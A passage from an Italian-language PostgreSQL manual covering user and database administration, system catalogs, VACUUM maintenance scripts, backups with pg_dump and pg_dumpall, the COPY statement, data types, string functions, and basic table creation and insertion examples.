```

L'eliminazione di un'utenza avviene con un'istruzione molto semplice, senza opzioni particolari:

```
DROP USER nome_utente
```

L'esempio seguente elimina l'utenza '**tizio**' e l'operazione viene svolta dall'utente '**postgres**':

```
# su postgres [Invio]
```

postgres$ **psql template1** [*Invio*]

template1=# **DROP USER tizio;** [*Invio*]

```
DROP USER
```

template1=# **\q** [*Invio*]

postgres$ **exit** [*Invio*]

86.2.3 Creazione ed eliminazione delle basi di dati

La creazione di una base di dati è consentita agli amministratori e agli utenti che hanno ottenuto questo privilegio. La base di dati può essere creata per sé, oppure per farla gestire da un altro utente.

```
CREATE DATABASE nome_base_di_dati
    [[WITH] [OWNER [=] utente_proprietario]
            [ENCODING [=] 'codifica']]
```

Il modello sintattico mostrato omette alcune opzioni, di utilizzo meno frequente. In particolare, sarebbe possibile specificare il modello di riferimento per la creazione della base di dati, ma in modo predefinito viene utilizzata la base di dati '**template1**' per crearne una di nuova.

Nell'esempio seguente, l'utente '**tizio**' crea la base di dati '**mia_db**', specificando espressamente la codifica; inizialmente accede facendo riferimento alla base di dati '**template1**':

$ **psql --username tizio template1** [*Invio*]

Password: ***digitazione_all'oscuro*** [*Invio*]

template1=> **CREATE DATABASE mia_db ENCODING 'UNICODE';** [*Invio*]

```
CREATE DATABASE
```

template1=> **\q** [*Invio*]

L'eliminazione di una base di dati si ottiene con l'uso di un'istruzione molto semplice:

```
DROP DATABASE nome_base_di_dati
```

Questa istruzione può essere usata da un amministratore, oppure dall'utente che ne è proprietario. Nell'esempio seguente, l'utente '**tizio**' elimina la sua base di dati '**mia_db**'; per farlo, accede facendo riferimento a un'altra (la solita '**template1**'):

$ **psql --username tizio template1** [*Invio*]

Password: ***digitazione_all'oscuro*** [*Invio*]

template1=> **DROP DATABASE mia_db;** [*Invio*]

```
DROP DATABASE
```

template1=> **\q** [*Invio*]

86.2.4 La base di dati amministrativa

PostgreSQL memorizza le informazioni sugli utenti e sulle basi di dati all'interno di una sorta di base di dati amministrativa, senza nome. Alle relazioni di questa base di dati trasparente, si accede da qualunque posizione; in pratica, le relazioni sono accessibili quando si apre la base di dati '`template1`', o qualunque altra, ma ovviamente, solo l'amministratore del DBMS ha la facoltà di modificarle direttamente.

Come conseguenza del fatto che le relazioni della base di dati amministrativa sono accessibili da qualunque posizione, si comprende che i nomi di queste relazioni non si possono utilizzare per la costruzione di nuove.

La documentazione originale di PostgreSQL individua queste relazioni, definendole «cataloghi». In questo documento, si preferisce indicarle come relazioni o tabelle della base di dati amministrativa.

Le relazioni più importanti della base di dati amministrativa sono '`pg_user`', '`pg_shadow`' e '`pg_database`'. Vale la pena di osservare il loro contenuto.

postgres:~$ **psql -d template1** [*Invio*]

La relazione '`pg_user`' è in realtà una vista del catalogo '`pg_shadow`', che contiene le informazioni sugli utenti di PostgreSQL. La figura 86.28 mostra un esempio di come potrebbe essere composta. La consultazione della relazione si ottiene con l'istruzione SQL seguente:

template1=> **SELECT * FROM pg_user;** [*Invio*]

Figura 86.28. Esempio del contenuto di '`pg_user`'.

```
  usename   | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig
------------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres   |        1 | t           | t        | t         | ******** |          |
 pgnanouser |      100 | t           | f        | f         | ******** |          |
 tizio      |     1001 | t           | t        | t         | ******** |          |
```

Si può osservare che l'utente '`postgres`' ha tutti gli attributi booleani attivi ('`usecreatedb`', '`usesuper`', '`usecatupd`') e questo per permettergli di compiere tutte le operazioni all'interno delle basi di dati. In particolare, l'attributo '`usecreatedb`' permette all'utente di creare una base di dati e '`usesuper`' permette di aggiungere utenti. In effetti, osservando l'esempio della figura, l'utente '`tizio`' ha praticamente gli stessi privilegi dell'amministratore '`postgres`'.

La relazione '`pg_shadow`' è il contenitore delle informazioni sugli utenti, a cui si accede normalmente tramite la vista '`pg_user`'. Il suo scopo è quello di conservare in un file più sicuro, in quanto non accessibile agli utenti comuni, i dati delle parole d'ordine degli utenti che intendono usare le forme di autenticazione basate su queste. L'esempio della figura 86.29 mostra gli stessi utenti a cui non viene abbinata alcuna parola d'ordine (probabilmente perché accedono localmente e vengono identificati dal sistema operativo). La consultazione della relazione si ottiene con l'istruzione SQL seguente:

template1=> **SELECT * FROM pg_shadow;** [*Invio*]

Figura 86.29. Esempio del contenuto di '**pg_shadow**'.

```
 usename    | usesysid | usecreatedb | usesuper | usecatupd | passwd | valuntil | useconfig
------------+----------+-------------+----------+-----------+--------+----------+-----------
postgres    |        1 | t           | t        | t         |        |          |
pgnanouser  |      100 | t           | f        | f         |        |          |
tizio       |     1001 | t           | t        | t         |        |          |
```

La relazione '**pg_database**' contiene le informazioni sulle basi di dati esistenti. La figura 86.30 mostra un esempio di come potrebbe essere composta. La consultazione della relazione si ottiene con l'istruzione SQL:

template1=> **SELECT * FROM pg_database;** [*Invio*]

Figura 86.30. Esempio del contenuto di '**pg_database**', diviso in due parti per motivi tipografici.

```
 datname   | datdba | encoding | datistemplate | datallowconn | datlastsysoid |
-----------+--------+----------+---------------+--------------+---------------+--
nanodb     |    100 |        6 | f             | t            |         17140 |
template1  |      1 |        6 | t             | t            |         17140 |
template0  |      1 |        6 | t             | f            |         17140 |

     | datvacuumxid | datfrozenxid | datpath | datconfig |          datacl
    -+--------------+--------------+---------+-----------+--------------------------
     |         8159 |   3221233632 |         |           |
     |         8271 |   3221233744 |         |           | {postgres=C*T*/postgres}
     |          464 |          464 |         |           | {postgres=C*T*/postgres}
```

Il primo attributo rappresenta il nome della base di dati, il secondo riporta il numero di identificazione dell'utente che rappresenta il suo DBA, cioè colui che l'ha creata o che comunque deve amministrarla. Per esempio, si può osservare che la base di dati '**nanodb**' è stata creata dall'utente identificato dal numero 100, che da quanto riportato in '**pg_user**' è '**pgnanouser**'.

86.2.5 Manutenzione delle basi di dati

Un problema comune dei DBMS è quello della riorganizzazione periodica dei dati, in modo da semplificare e accelerare le elaborazioni successive. Nei sistemi più semplici si parla a volte di «ricostruzione indici», o di qualcosa del genere. Nel caso di PostgreSQL, si utilizza un comando specifico che è estraneo all'SQL standard: '**VACUUM**'.

> VACUUM [*altre_opzioni*] [VERBOSE] [*nome_relazione*]

> VACUUM [*altre_opzioni*] [VERBOSE] ANALYZE [*nome_relazione* [(*attributo_1* [,... *attributo_n*])]]

L'operazione di pulizia si riferisce alla base di dati aperta in quel momento. L'opzione '**VERBOSE**' permette di ottenere i dettagli sull'esecuzione dell'operazione; '**ANALYZE**' serve invece per indicare specificatamente una relazione, o addirittura solo alcuni attributi (le colonne delle tabelle) una relazione e avere informazioni su questi. Eventualmente, sono disponibili altre opzioni per ottenere una riorganizzazione dei dati più importante.

Anche se non si tratta di un comando SQL standard, per PostgreSQL è importante che venga eseguita periodicamente una ripulitura con il comando '**VACUUM**', eventualmente attraverso uno script simile a quello seguente, da avviare per mezzo del sistema Cron:

```
#!/bin/sh
su postgres -c "psql $1 -c 'VACUUM'"
```

In pratica, richiamando questo script con i privilegi dell'utente '**root**', indicando come argomento il nome della base di dati (viene inserito al posto di '**$1**' dalla shell), si ottiene di avviare il comando '**VACUUM**' attraverso '**psql**'.

Per riuscire a fare il lavoro in serie per tutte le basi di dati, si potrebbe scrivere uno script più complesso, come quello seguente. In questo caso, lo script deve essere avviato con i privilegi dell'utente '**postgres**'.

```
#!/bin/sh
#
BASI_DATI=`psql template1 -t -c "SELECT datname from pg_database"`
#
echo "Procedimento di ripulitura e sistemazione delle basi di dati"
echo "di PostgreSQL."
echo "Se l'operazione dovesse essere interrotta accidentalmente,"
echo "potrebbe essere necessaria l'eliminazione del file pg_vlock"
echo "contenuto nella directory della base di dati relativa."
#
for BASE_DATI in $BASI_DATI
do
    printf "$BASE_DATI: "
    psql $BASE_DATI -c "VACUUM"
done
```

In breve, si utilizza la prima volta '**psql**' in modo da aprire la base di dati '**template1**' (quella usata come modello, che si ha la certezza di trovare sempre), accedendo alla relazione '**pg_database**', che fa parte della base di dati amministrativa, per leggere l'attributo contenente i nomi delle basi di dati. In particolare, l'opzione '**-t**' serve a evitare di inserire il nome dell'attributo stesso. L'elenco che si ottiene viene inserito nella variabile di ambiente '**BASI_DATI**', che in seguito viene scandita da un ciclo '**for**', all'interno del quale si utilizza '**psql**' per ripulire ogni singola base di dati.

86.2.6 Copie di sicurezza

Prima di poter pensare a copiare o a spostare una base di dati occorre avere chiaro in mente che si tratta di file «binari» (nel senso che non si tratta di file di testo), contenenti informazioni collegate l'una all'altra in qualche modo più o meno oscuro. Queste informazioni possono a volte essere espresse anche in forma numerica; in tal caso dipende dall'architettura in cui sono state create. Ciò implica due cose fondamentali: la copia deve essere fatta in modo che non si perdano dei pezzi per la strada; lo spostamento dei dati in forma binaria, in un'altra architettura, non è ammissibile.

La copia di sicurezza binaria, di tutto ciò che serve a PostgreSQL per la gestione delle sue basi di dati, si ottiene semplicemente archiviando quanto contenuto a partire da '`~postgres/`', così come si può comprendere intuitivamente. Ciò che conta è che il ripristino dei dati avvenga nello stesso contesto (architettura, sistema operativo, librerie, versione di PostgreSQL e configurazione).

Per una copia di sicurezza più «sicura», è necessario archiviare i dati in modo indipendente da tutto. Si ottiene questo generando un file di testo, contenente istruzioni SQL con le quali

ricostruire poi una sola base di dati o anche tutte assieme. Per questo vengono in aiuto due programmi di PostgreSQL: '**pg_dump**' e '**pg_dumpall**'.

Non sempre il procedimento di trasferimento dei dati in forma di comandi SQL può essere portato a termine con successo. Può succedere che delle relazioni troppo complesse o con dati troppo grandi, non siano tradotte correttamente nella fase di archiviazione. Questo problema deve essere preso in considerazione già nel momento della progettazione di una base di dati, avendo cura di verificare, sperimentandolo, che il procedimento di scarico e recupero dei dati possa funzionare.

Lo scarico di una sola base di dati si ottiene attraverso il programma '**pg_dump**', che, eventualmente, potrebbe risiedere al di fuori dei percorsi normali contenuti nella variabile '**$PATH**' e potrebbe trovarsi nella directory '/usr/lib/postgresql/bin/':

pg_dump [*opzioni*] ***base_di_dati***

Se non si indicano delle opzioni e ci si limita a specificare la base di dati su cui intervenire, si ottiene il risultato attraverso lo standard output, composto in pratica dai comandi necessari a '**psql**' per ricostruire le relazioni che compongono la base di dati (la base di dati stessa deve essere ricreata manualmente). Tanto per chiarire subito il senso della cosa, se si utilizza '**pg_dump**' nel modo seguente, si ottiene il file di testo 'mio_db.dump':

$ **pg_dump mio_db > mio_db.dump** [*Invio*]

Questo file va verificato, ricercando la presenza eventuale di segnalazioni di errore che vengono generate in presenza di dati che non possono essere riprodotti fedelmente; eventualmente, il file può anche essere modificato se si conosce la sintassi dei comandi che vengono inseriti in questo script. Per fare in modo che le relazioni della base di dati vengano ricreate e caricate, si può utilizzare '**psql**' nel modo seguente:

$ **psql -e mio_db < mio_db.dump** [*Invio*]

Tabella 86.33. Alcune opzioni che possono essere usate con '**pg_dump**'.

Autenticazione	Descrizione
-d --inserts	In condizioni normali, '**pg_dump**' salva i dati delle relazioni (le tabelle secondo l'SQL) in una forma compatibile con il comando '**COPY**', che però non è compatibile con lo standard SQL. Con l'opzione '**-d**', utilizza il comando '**INSERT**' tradizionale.
-D --column-inserts	Come con l'opzione '**-d**', con l'aggiunta dell'indicazione degli attributi (le colonne secondo l'SQL) in cui vanno inseriti i dati. In pratica, questa opzione permette di generare uno script più preciso e dettagliato.
-f ***file*** --file=***file***	Permette di definire un file diverso dallo standard output, che si vuole generare con il risultato dell'elaborazione di '**pg_dump**'.
-h ***nodo*** --host=***nodo***	Permette di specificare il nodo a cui connettersi per l'interrogazione del servente PostgreSQL. In pratica, se l'accesso è consentito, è possibile scaricare una base di dati gestita presso un nodo remoto.

Autenticazione	Descrizione
-p ***porta*** --port=***porta***	Nel caso in cui '**postmaster**' sia in ascolto su una porta TCP diversa dal numero 5432 (corrispondente al valore predefinito), si può specificare con questa opzione il numero corretto da utilizzare.
-s --schema-only	Scarica soltanto la struttura delle relazioni, senza occuparsi del loro contenuto. In pratica, serve per poter riprodurre le relazioni vuote.
-t ***nome_relazione*** --table=***nome_relazione***	Utilizzando questa opzione, indicando il nome di una relazione, si ottiene lo scarico solo di quella.
-U ***nome***	Specifica con quale nominativo utente identificarsi per eseguire l'operazione.
-W	Forza la richiesta di inserire una parola d'ordine, che comunque dovrebbe essere chiesta automaticamente se il DBMS la richiede.

Per copiare o trasferire tutte le basi di dati del sistema di PostgreSQL, si può utilizzare '**pg_dumpall**', che, eventualmente, potrebbe risiedere al di fuori dei percorsi normali contenuti nella variabile '**$PATH**' e potrebbe trovarsi nella directory '/usr/lib/postgresql/bin/':

[***percorso***] pg_dumpall [***opzioni***]

Il programma '**pg_dumpall**' provvede a scaricare tutte le basi di dati, assieme alle informazioni necessarie per ricreare il catalogo '**pg_shadow**' (la vista '**pg_user**' si ottiene di conseguenza). Come si può intuire, si deve utilizzare '**pg_dumpall**' con i privilegi dell'amministratore del DBMS (di solito l'utente '**postgres**').

postgres$ **pg_dumpall > basi_dati.dump** [*Invio*]

L'esempio mostra il modo più semplice di utilizzare '**pg_dumpall**' per scaricare tutte le basi di dati in un file unico. In questo caso, si ottiene il file di testo 'basi_dati.dump'. Questo file va verificato alla ricerca di segnalazioni di errore che potrebbero essere generate in presenza di dati che non possono essere riprodotti fedelmente; eventualmente, può essere modificato se si conosce la sintassi dei comandi che vengono inseriti in questo script.

Il recupero dell'insieme completo delle basi di dati avviene normalmente in un ambiente PostgreSQL, in cui il sistema delle basi di dati sia stato predisposto, ma non sia stata creata alcuna base di dati (a parte quelle standard, come '**template1**'). Come si può intuire, il comando necessario per ricaricare le basi di dati, assieme alle informazioni sugli utenti (la relazione '**pg_shadow**'), è quello seguente:

postgres$ **psql -e template1 < basi_dati.dump** [*Invio*]

La situazione tipica in cui è necessario utilizzare '**pg_dumpall**' per scaricare tutto il sistema delle basi di dati, è quella del momento in cui ci si accinge ad aggiornare la versione di PostgreSQL. In breve, in quella occasione, si devono eseguire i passaggi seguenti:

1. con la versione vecchia di PostgreSQL, si deve utilizzare '**pg_dumpall**' in modo da scaricare tutto il sistema delle basi di dati in un solo file di testo;

2. si aggiorna PostgreSQL;
3. si elimina il contenuto della directory '~postgres/data/', ovvero quella che altrimenti viene definita '**PGDATA**' (prima conviene forse fare una copia di sicurezza del suo contenuto, tale e quale, in forma binaria);
4. si ricrea il sistema delle basi di dati, vuoto, attraverso '**initdb**';
5. si ricaricano le basi di dati precedenti, assieme alle informazioni sugli utenti, attraverso '**psql**', utilizzando il file generato in precedenza attraverso '**pg_dumpall**'.

Quello che manca, eventualmente, è la configurazione di PostgreSQL, in particolare per ciò che riguarda i sistemi di accesso e autenticazione (il file '~postgres/data/pg_hda.conf'), che deve essere ripristinata manualmente.

86.2.7 Importazione ed esportazione dei dati

Al posto di utilizzare gli script già pronti per la copia e il recupero dei dati, è possibile avvalersi di comandi SQL. PostgreSQL fornisce un'istruzione speciale per permettere l'importazione e l'esportazione dei dati da e verso un file indipendente dalla piattaforma. Si tratta dell'istruzione '**COPY**', la cui sintassi semplificata è quella seguente:

```
COPY relazione TO { 'file' | STDIN }
    [ [WITH]
        [BINARY]
        [DELIMITER [AS] 'delimitatore' ] ]
```

```
COPY relazione FROM { 'file' | STDIN }
    [ [WITH]
        [BINARY]
        [DELIMITER [AS] 'delimitatore' ] ]
```

Nella prima delle due forme, si esportano i dati verso un file o verso lo standard input; nella seconda si importano da un file o dallo standard output.

Se si usa l'opzione '**BINARY**' si ottiene un file «binario» indipendente dalla piattaforma; diversamente si ottiene un file di testo tradizionale. Nel caso del file di testo, ogni riga corrisponde a una tupla della relazione; gli attributi sono separati da un carattere di delimitazione, che in mancanza della definizione tramite l'opzione '**DELIMITER AS**' è un carattere di tabulazione. In ogni caso, anche se si specifica tale opzione, può trattarsi solo di un carattere. In pratica, sempre nell'ipotesi di creazione di un file di testo, ogni riga è organizzata secondo lo schema seguente:

```
attributo_1xattributo_2x...xattributo_n
```

Nello schema, ***x*** rappresenta il carattere di delimitazione, che, come si può vedere, non viene inserito all'inizio e alla fine.

Quando l’istruzione ‘**COPY**’ viene usata per importare dati dallo standard input, in formato testo, è necessario che dopo l’ultima riga che contiene attributi da inserire nella relazione, sia presente una sequenza di escape speciale: una barra obliqua inversa seguita da un punto (‘**\.**’). Il file ottenuto quando si esporta verso lo standard output contiene questo simbolo di conclusione.

Il file di testo in questione può contenere anche altre sequenze di escape, che si trovano descritte nella tabella 86.34.

Tabella 86.34. Sequenze di escape nei file di testo generati e utilizzati da ‘**COPY**’.

Escape	Descrizione
`\\`	Una barra obliqua inversa.
`\.`	Simbolo di conclusione del file.
`\N`	‘**NULL**’.
delimitatore	Protegge il simbolo che viene già utilizzato come delimitatore.
\\<*LF*>	Tratta <*LF*> in modo letterale.
`\b`	<*BS*>.
`\f`	<*FF*>.
`\n`	<*LF*>.
`\r`	<*CR*>.
`\t`	<*HT*> (tabulazione orizzontale).
`\v`	<*VT*> (tabulazione verticale).
ooo	Codice per un byte espresso in ottale.

È importante fare mente locale al fatto che l’istruzione viene eseguita dal servente. Ciò significa che i file, quando non si tratta di standard input o di standard output, sono creati o cercati secondo il file system che questo servente si trova ad avere sotto di sé.

Segue la descrizione di alcuni esempi.

- ```
  COPY Indirizzi TO STDOUT;
  ```
  L’esempio mostra l’istruzione necessaria a emettere attraverso lo standard output del programma cliente (‘**psql**’) la trasformazione in testo del contenuto della relazione ‘**Indirizzi**’.

- ```
  COPY Indirizzi TO STDOUT BINARY;
  ```
  Come nell’esempio precedente, generando però un formato binario, indipendente dalla piattaforma.

- ```
  COPY Indirizzi TO '/tmp/prova' WITH DELIMITER AS '|';
  ```
  In questo caso, si genera il file di testo '`/tmp/prova`' nel file system dell'elaboratore servente, inoltre gli attributi sono separati attraverso una barra verticale ('`|`').

- ```
  COPY Indirizzi FROM STDIN;
  ```
  In questo caso, si aggiungono tuple alla relazione '**`Indirizzi`**', utilizzando quanto proviene dallo standard input, che si attende essere un file di testo (alla fine deve apparire la sequenza di escape '`\.`').

- ```
  COPY Indirizzi FROM STDIN BINARY;
  ```
  Come nell'esempio precedente, attendendo i dati in formato binario.

- ```
  COPY Indirizzi FROM '/tmp/prova' WITH DELIMITER AS '|';
  ```
  Si aggiungono tuple alla relazione '**`Indirizzi`**', utilizzando quanto proviene dal file '`/tmp/prova`', che si trova nel file system dell'elaboratore servente. Il file deve essere in formato testo e gli attributi si intendono separati da una barra verticale ('`|`').

86.3 Il linguaggio

PostgreSQL è un ORDBMS, ovvero un *Object-relational DBMS*, cioè un DBMS relazionale a oggetti. La sua documentazione utilizza terminologie differenti, a seconda delle preferenze dei rispettivi autori. In generale si possono distinguere tre modalità, riferite a tre punti di vista: la programmazione a oggetti, la teoria generale sui DBMS e il linguaggio SQL. Le equivalenze dei termini sono riassunte dallo schema seguente:

classi	istanze	attributi	tipi di dati contenibili negli attributi
relazioni	tuple	attributi	domini
tabelle	righe	colonne	tipi di dati contenibili nelle colonne

In questo capitolo si intende usare la terminologia tradizionale dei DBMS, dove i dati sono organizzati in relazioni, tuple e attributi, affiancando eventualmente i termini del linguaggio SQL tradizionale (tabelle, righe e colonne). Inoltre, la sintassi delle istruzioni (interrogazioni) SQL che vengono mostrate è limitata alle funzionalità più semplici, sempre compatibilmente con le possibilità di PostgreSQL. Per una visione più estesa delle funzionalità SQL di PostgreSQL conviene consultare la sua documentazione.

86.3.1 Prima di iniziare

Per fare pratica con il linguaggio SQL, il modo migliore è quello di utilizzare il programma '**`psql`**' con il quale si possono eseguire interrogazioni interattive con il servente. Quello che conta è tenere a mente che per poterlo utilizzare occorre avere già creato una base di dati (vuota), in cui vanno poi inserite delle nuove relazioni, con le quali si possono eseguire altre operazioni.

Attraverso le istruzioni SQL si fa riferimento sempre a un'unica base di dati: quella a cui ci si collega quando si avvia '**`psql`**'.

Utilizzando '**psql**', le istruzioni devono essere terminate con il punto e virgola ('**;**'), oppure dal comando interno '**\g**' (*go*).

86.3.2 Tipi di dati e rappresentazione

I tipi di dati gestibili sono un punto delicato della compatibilità tra un DBMS e lo standard SQL. Vale la pena di riepilogare i tipi più comuni, compatibili con lo standard SQL, che possono essere trovati nella tabella 86.42.

Tabella 86.42. Elenco dei tipi di dati standard utilizzabili con PostgreSQL.

Tipo	Standard	Descrizione
`CHAR` `CHARACTER`	SQL92	Un carattere singolo.
`CHAR(`***n***`)` `CHARACTER(`***n***`)`	SQL92	Una stringa di lunghezza fissa, di ***n*** caratteri, completata da spazi.

`VARCHAR(`***n***`)`
`CHARACTER VARYING(`***n***`)`
`CHAR VARYING(`***n***`)`
	SQL92	Una stringa di lunghezza variabile con un massimo di ***n*** caratteri.

`INTEGER`	SQL92	Intero (al massimo nove cifre numeriche).
`SMALLINT`	SQL92	Intero più piccolo di '**INTEGER**' (al massimo quattro cifre numeriche).
`FLOAT`	SQL92	Numero a virgola mobile.
`FLOAT(`***n***`)`	SQL92	Numero a virgola mobile lungo ***n*** bit.
`REAL`	SQL92	Numero a virgola mobile (teoricamente più preciso di '**FLOAT**').
`DOUBLE PRECISION`	SQL92	Numero a virgola mobile (più o meno equivalente a '**REAL**').

`NUMERIC`
`NUMERIC(`***precisione*** [**,** ***scala***] `)`
`DECIMAL`
`DECIMAL(`***precisione*** [**,** ***scala***] `)`
`DEC`
`DEC(`***precisione*** [**,** ***scala***] `)`
	SQL92	Numero composto da un massimo di tante cifre numeriche quante indicate dalla precisione, cioè il primo argomento tra parentesi. Se viene specificata anche la scala, si intende riservare quella parte di cifre per quanto appare dopo la virgola.

`DATE`	SQL92	Data, di solito nella forma '***mm/gg/aaaa'***'.
`TIME`	SQL92	Orario, nella forma '***hh:mm:ss***', oppure solo '***hh:mm***'.

Tipo	Standard	Descrizione
`TIMESTAMP`	SQL92	Informazione completa data-orario.
`INTERVAL`	SQL92	Intervallo di tempo.
`BIT(`***n***`)`	SQL92	Stringa binaria di dimensione fissa.
`BIT VARYING(`***n***`)`	SQL92	Stringa binaria di dimensione variabile.
`BOOLEAN`	SQL99	Valore logico booleano.

Oltre ai tipi di dati gestibili, è necessario conoscere il modo di rappresentarli in forma costante. In particolare, è bene osservare che PostgreSQL ammette solo l'uso degli apici singoli come delimitatori; pertanto, per rappresentare un apice in una stringa delimitata in questo modo, lo si può raddoppiare, oppure si può usare la sequenza di escape '`\'`'. La tabella 86.43 mostra alcuni esempi.

Tabella 86.43. Esempi di rappresentazione dei valori costanti. Si osservi che in alcuni casi, conviene dichiarare il tipo di valore, seguito da una costante stringa che lo rappresenta, come in questi esempi a proposito di valori data-orario.

Tipo di valore in generale	Esempi di rappresentazione in forma di costante letterale

`CHAR`
`CHARACTER`
`CHAR(`***n***`)`
`CHARACTER(`***n***`)`
`VARCHAR(`***n***`)`
`CHARACTER VARYING(`***n***`)`
`CHAR VARYING(`***n***`)`
	`'a'`
	`'ciao'`
	`'Ciao'`
	`'123/der:876'`

`INTEGER`
`SMALLINT`
	`1`
	`123`
	`-987`

Tipo di valore in generale	Esempi di rappresentazione in forma di costante letterale
FLOAT FLOAT(***n***) REAL DOUBLE PRECISION NUMERIC NUMERIC(***precisione*** [***, scala***]) DECIMAL DECIMAL(***precisione*** [***, scala***]) DEC DEC(***precisione*** [***, scala***])	123.45 -45.3 123.45e+10 123.45e-10
DATE	DATE '31.12.2010' DATE '12/31/2010' DATE '2010-12-31'
TIME	TIME '15:55:27' TIME '15:59'
TIMESTAMP	TIMESTAMP '2010-12-31 15:55:27' TIMESTAMP '2010-12-31 15:55:27+1'
INTERVAL	INTERVAL '15:55:27' INTERVAL '15 HOUR 59 MINUTE' INTERVAL '- 15 HOUR'
BIT BIT VARYING(***n***)	B'1' B'101' X'2F'

Tipo di valore in generale	Esempi di rappresentazione in forma di costante letterale

`BOOLEAN`	`1`
	`'y'`
	`'yes'`
	`'t'`
	`'true'`
	`0`
	`'n'`
	`'no'`
	`'f'`
	`'false'`

In particolare, le costanti stringa possono contenere delle sequenze di escape, rappresentate da una barra obliqua inversa seguita da un simbolo. La tabella 86.44 mostra le sequenze di escape tipiche e inserisce anche il caso del raddoppio degli apici singoli.

Tabella 86.44. Sequenze di escape utilizzabili all'interno delle stringhe di caratteri costanti.

Escape	Significato
`\n`	*<LF>*
`\r`	*<CR>*
`\b`	*<BS>*
`\'`	'
`''`	'
`\"`	"
`\\`	\
`\%`	%
`\_`	_

86.3.3 Funzioni

PostgreSQL, come altri DBMS SQL, offre una serie di funzioni che fanno parte dello standard SQL, assieme ad altre non standard che però sono ampiamente diffuse e di grande utilità. Le tabelle 86.45 e 86.46 ne riportano alcune.

Tabella 86.45. Funzioni SQL riconosciute da PostgreSQL.

Funzione	Descrizione
`POSITION(`***stringa_1*** `IN` ***stringa_2***`)`	Posizione di ***stringa_1*** in ***stringa_2***.
`SUBSTRING(`***stringa*** [`FROM` ***n***] [`FOR` ***m***]`)`	Sottostringa da ***n*** per ***m*** caratteri.
`TRIM(`[`LEADING`|`TRAILING`|`BOTH`] [`'`***x***`'`] ↩ ↪`FROM` [***stringa***]`)`	Ripulisce all'inizio e alla fine del testo.

Tabella 86.46. Alcune funzioni riconosciute dal linguaggio di PostgreSQL.

Funzione	Descrizione
`UPPER(`***stringa***`)`	Converte la stringa in caratteri maiuscoli.
`LOWER(`***stringa***`)`	Converte la stringa in caratteri minuscoli.
`INITCAP(`***stringa***`)`	Converte la stringa in modo che le parole inizino con la maiuscola.
`SUBSTR(`***stringa***`,`***n***`,`***m***`)`	Estrae la stringa che inizia dalla posizione ***n***, lunga ***m*** caratteri.
`LTRIM(`***stringa***`, '`***x***`')`	Ripulisce la stringa a sinistra (*Left trim*).
`RTRIM(`***stringa***`, '`***x***`')`	Ripulisce la stringa a destra (*Right trim*).

Segue la descrizione di alcuni esempi.

- ```
  SELECT POSITION( 'o' IN 'Topo' )
  ```
  Restituisce il valore due.

- ```
  SELECT POSITION( 'ino' IN Cognome ) FROM Indirizzi
  ```
  Restituisce un elenco delle posizioni in cui si trova la stringa '**`ino`**' all'interno dell'attributo '**`Cognome`**', per tutte le tuple della relazione '**`Indirizzi`**'.

- ```
  SELECT SUBSTRING( 'Daniele' FROM 3 FOR 2 )
  ```
  Restituisce la stringa '**`ni`**'.

- ```
  SELECT TRIM( LEADING '*' FROM '*****Ciao****' )
  ```
  Restituisce la stringa '**`Ciao****`**'.

- ```
  SELECT TRIM( TRAILING '*' FROM '*****Ciao****' )
  ```
  Restituisce la stringa '**`*****Ciao`**'.
  ```

- ```
  SELECT TRIM( BOTH '*' FROM '*****Ciao****' )
  ```
  Restituisce la stringa '`Ciao`'.

- ```
  SELECT TRIM( BOTH ' ' FROM '    Ciao    ' )
  ```
  Restituisce la stringa '`Ciao`'.

- ```
  SELECT TRIM( '    Ciao    ' )
  ```
  Esattamente come nell'esempio precedente, dal momento che lo spazio normale è il carattere predefinito e che la parola chiave '`BOTH`' è anche predefinita.

- ```
  SELECT LTRIM( '*****Ciao****', '*' )
  ```
  Restituisce la stringa '`Ciao****`'.

- ```
  SELECT RTRIM( '*****Ciao****', '*' )
  ```
  Restituisce la stringa '`*****Ciao`'.

86.3.4 Esempi comuni

Nelle sezioni seguenti vengono mostrati alcuni esempi comuni di utilizzo del linguaggio SQL, limitato alle possibilità di PostgreSQL. La sintassi non viene descritta, salvo quando la differenza tra quella standard e quella di PostgreSQL è importante.

Negli esempi si fa riferimento frequentemente a una relazione di indirizzi, il cui contenuto è visibile nella figura 86.57.

Figura 86.57. La relazione '`Indirizzi (Codice, Cognome, Nome, Indirizzo, Telefono)`' usata in molti esempi del capitolo.

Indirizzi				
Codice	**Cognome**	**Nome**	**Indirizzo**	**Telefono**
1	Pallino	Pinco	Via Biglie 1	0222,222222
2	Tizi	Tizio	Via Tazi 5	0555,555555
3	Cai	Caio	Via Caini 1	0888,888888
4	Semproni	Sempronio	Via Sempi 7	0999,999999

86.3.4.1 Creazione di una relazione

La relazione di esempio mostrata nella figura 86.57, potrebbe essere creata nel modo seguente:
  ```

```
CREATE TABLE Indirizzi (
        Codice          integer,
        Cognome         char(40),
        Nome            char(40),
        Indirizzo       varchar(60),
        Telefono        varchar(40)
    );
```

Quando si inseriscono i valori per una tupla, può capitare che venga omesso l'inserimento di alcuni attributi. In questi casi, il campo corrispondente riceve il valore '**`NULL`**', cioè un valore indefinito, oppure il valore predefinito attraverso quanto specificato con l'espressione che segue la parola chiave '**`DEFAULT`**'.

In alcuni casi non è possibile definire un valore predefinito e nemmeno è accettabile che un dato resti indefinito. In tali situazioni si può aggiungere l'opzione '**`NOT NULL`**', dopo la definizione del tipo.

86.3.4.2 Modifica della relazione

La modifica di una relazione implica l'intervento sulle caratteristiche degli attributi, oppure la loro aggiunta ed eliminazione. Seguono due esempi, con cui si aggiunge un attributo e poi lo si elimina:

```
ALTER TABLE Indirizzi ADD COLUMN Comune char(30);
```

```
ALTER TABLE Indirizzi DROP COLUMN Comune;
```

L'esempio seguente modifica il tipo di un attributo già esistente:

```
ALTER TABLE Indirizzi ALTER COLUMN Codice TYPE REAL;
```

Naturalmente, la conversione del tipo di un attributo può avere significato solo se i valori contenuti nelle tuple esistenti, in corrispondenza di quell'attributo, sono convertibili.

86.3.4.3 Inserimento dati in una relazione

L'esempio seguente mostra l'inserimento dell'indirizzo dell'impiegato «Pinco Pallino».

```
INSERT INTO Indirizzi
    VALUES (
        01,
        'Pallino',
        'Pinco',
        'Via Biglie 1',
        '0222,222222'
    );
```

In questo caso, si presuppone che i valori inseriti seguano la sequenza degli attributi, così come è stata creata la relazione in origine. Se si vuole indicare un comando più leggibile, occorre aggiungere l'indicazione della sequenza degli attributi da compilare, come nell'esempio seguente:

```
INSERT INTO Indirizzi (
        Codice,
        Cognome,
        Nome,
        Indirizzo,
        Telefono
    )
    VALUES (
        01,
        'Pallino',
        'Pinco',
